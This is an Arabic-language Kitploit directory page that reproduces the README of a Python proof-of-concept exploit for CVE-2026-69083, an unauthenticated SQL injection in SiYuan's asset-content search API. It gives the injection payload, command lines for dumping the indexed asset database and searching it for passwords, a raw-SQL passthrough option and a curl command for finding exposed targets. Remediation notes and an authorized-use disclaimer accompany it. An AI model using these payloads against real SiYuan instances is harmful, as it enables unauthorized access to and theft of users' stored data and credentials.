Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-69083_exploit — Python PoC لثغرة CVE-2026-69083، وهي حقن SQL غير مصادَق عليه في نقطة البحث في محتوى الأصول في SiYuan. يدعم الخروج عبر REGEXP وتمرير SQL خام لتفريغ الأصول المفهرسة وبيانات SQLite المرفقة. | Kitploit
أدوات/GitHubGitHub/0xdak/cve-2026-69083_exploit
الاستغلالاستغلال تطبيقات الويبتسريب البياناتاختبار الاختراقأمن قواعد البيانات
GitHub0xdak/cve-2026-69083_exploit

CVE-2026-69083_exploit

Python PoC لثغرة CVE-2026-69083، وهي حقن SQL غير مصادَق عليه في نقطة البحث في محتوى الأصول في SiYuan. يدعم الخروج عبر REGEXP وتمرير SQL خام لتفريغ الأصول المفهرسة وبيانات SQLite المرفقة.

عرض المستودع
4منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-69083 — حقن SQL غير مصادق عليه في SiYuan

حقن SQL غير مصادق عليه في SiYuan (تطبيق قاعدة معرفة مبني على Go) عبر نقطة نهاية البحث في محتوى الأصول.

يقوم POST /api/search/fullTextSearchAssetContent ببناء جملة SQL خام عبر دمج قيمة query التي يتحكم فيها المستخدم مباشرةً داخل عبارة REGEXP دون أي تهريب (kernel/model/asset_content.go, assetContentFieldRegexp):

root@kitploit:~
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>

علامة الاقتباس المفردة في query تخرق الحرفية النصية (CWE-89). عندما يُنشر SiYuan بدون رمز مصادقة وصول (Conf.AccessAuthCode == ""), تعامل النواة بأكملها المتصلين كمسؤول دون أي بيانات اعتماد، لذا يكون الحقن غير مصادق عليه بالكامل. هو كسر REGEXP؛ بينما يضيف تمرير كجملة SQL خام.

method:3
method:2
query
  • المتأثر: SiYuan < 3.7.3
  • المنفذ الافتراضي: 6806 (غير مصادق عليه عند عدم تعيين accessAuthCode)
  • CWE: 89 (حقن SQL)
  • الأثر: وصول قراءة/كتابة إلى قاعدة SQLite لمحتوى الأصول (استخراج البيانات؛ ATTACH DATABASE إلى ملفات SQLite أخرى) — مثلاً تفريغ بيانات الاعتماد التي فهرسها المشغلون في الملاحظات

المتطلبات

مكتبة Python 3 القياسية فقط — لا توجد اعتماديات.

الاستخدام

root@kitploit:~
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/

# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password

# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
  --sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"

آلية العمل

الحمولة الافتراضية هي:

root@kitploit:~
query = "zzqx') OR 1=1 -- "
  • zzqx') تُغلق مجموعة (name REGEXP '...',
  • OR 1=1 تجعل عبارة WHERE صحيحة دائمًا,
  • -- تعلّق بقية السطر، بما في ذلك الجزء الختامي AND ext IN <types> — والذي يمثل خطأً نحويًا بخلاف ذلك عندما تكون types فارغة (يصدر SiYuan AND ext IN دون أي شيء بعده، وتُعيد النواة بلا صفوف بصمت عند حدوث خطأ SQL).

ثم تعيد نقطة النهاية كل صفوف فهرس محتوى الأصول، وتطبع الأداة content لكل صف.

تحديد هدف

root@kitploit:~
curl -s http://10.10.10.10:6806/system_stats  # or browse http://10.10.10.10:6806/ (no login prompt)

مثيل SiYuan على المنفذ 6806 يُحمَّل بدون رمز مصادقة وصول ويكون قابلاً للاستغلال.

المعالجة

  • SiYuan ≥ 3.7.3 يوسِّط استعلام REGEXP (... REGEXP ?) ويقيّد مسار SQL الخام للطريقة الثانية خلف فحص صلاحيات المسؤول.
  • شغّل SiYuan دائمًا مع --accessAuthCode؛ ولا تعرضه أبدًا دون مصادقة — فبدون رمز مصادقة الوصول تكون واجهة النواة بأكملها مفتوحة للمسؤول.
  • لا تخزّن بيانات اعتماد نصية واضحة في الملاحظات/الأصول المفهرسة.

إخلاء مسؤولية

لأغراض الاختبار الأمني المصرح به والتعليم فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.

تنزيل الأداة